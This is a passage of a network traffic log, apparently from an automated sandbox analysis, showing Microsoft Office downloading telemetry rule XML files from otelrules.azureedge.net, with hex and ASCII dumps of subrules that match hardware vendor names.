2024-11-21 18:59:45 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.8	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:45 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:45 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:45 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: bf14eb60-501e-007b-507b-3b5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185945Z-1777c6cb754ww792hC1TEBzqu40000000b7000000000x0zf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:45 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.8	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:45 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:45 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:45 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 95b9e869-801e-008c-3081-3b7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185945Z-1777c6cb754lv4cqhC1TEB13us0000000bg000000000dpk5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:45 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.8	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:47 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:47 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:47 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 57b2d8b6-201e-0033-2767-3bb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185947Z-178bfbc474bvjk8shC1NYC83ns00000001pg00000000pe3n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:47 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.8	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:47 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:47 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:47 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 70a27ff5-201e-0051-4e8c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185947Z-r1d97b99577kk29chC1TEBemmg0000000arg00000000nfsk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:47 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.8	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:47 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:47 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:47 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: d277967d-801e-0047-0163-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185947Z-178bfbc474b9xljthC1NYCtw9400000001rg00000000rmss x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:47 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.8	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:47 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:48 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:47 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 20e2cd06-701e-005c-2869-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185947Z-178bfbc474bp8mkvhC1NYCzqnn00000001qg00000000kp6p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 18:59:48 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.8	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:47 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:48 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:48 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: de987fbe-101e-0017-4ece-3b47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185948Z-r1d97b99577dd2gchC1TEBz5ys0000000afg00000000rxyf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:48 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.8	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:49 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:49 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:49 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 171ae584-101e-005a-6763-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185949Z-178bfbc474b9xljthC1NYCtw9400000001sg00000000ker8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:49 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.8	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:49 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:49 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:49 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 62f36519-501e-0016-468c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185949Z-1777c6cb754mqztshC1TEB4mkc0000000be000000000v3ff x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:49 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.8	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:49 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:50 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:49 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 76e95f1f-101e-0034-7059-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185949Z-178bfbc474bgvl54hC1NYCsfuw00000001rg000000012d44 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:50 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.8	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:50 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 18:59:50 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:59:50 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 5b8d3f05-a01e-006f-2465-3b13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T185950Z-178bfbc474bwlrhlhC1NYCy3kg00000001tg00000000w6kh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 18:59:50 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.8	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:59:50 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
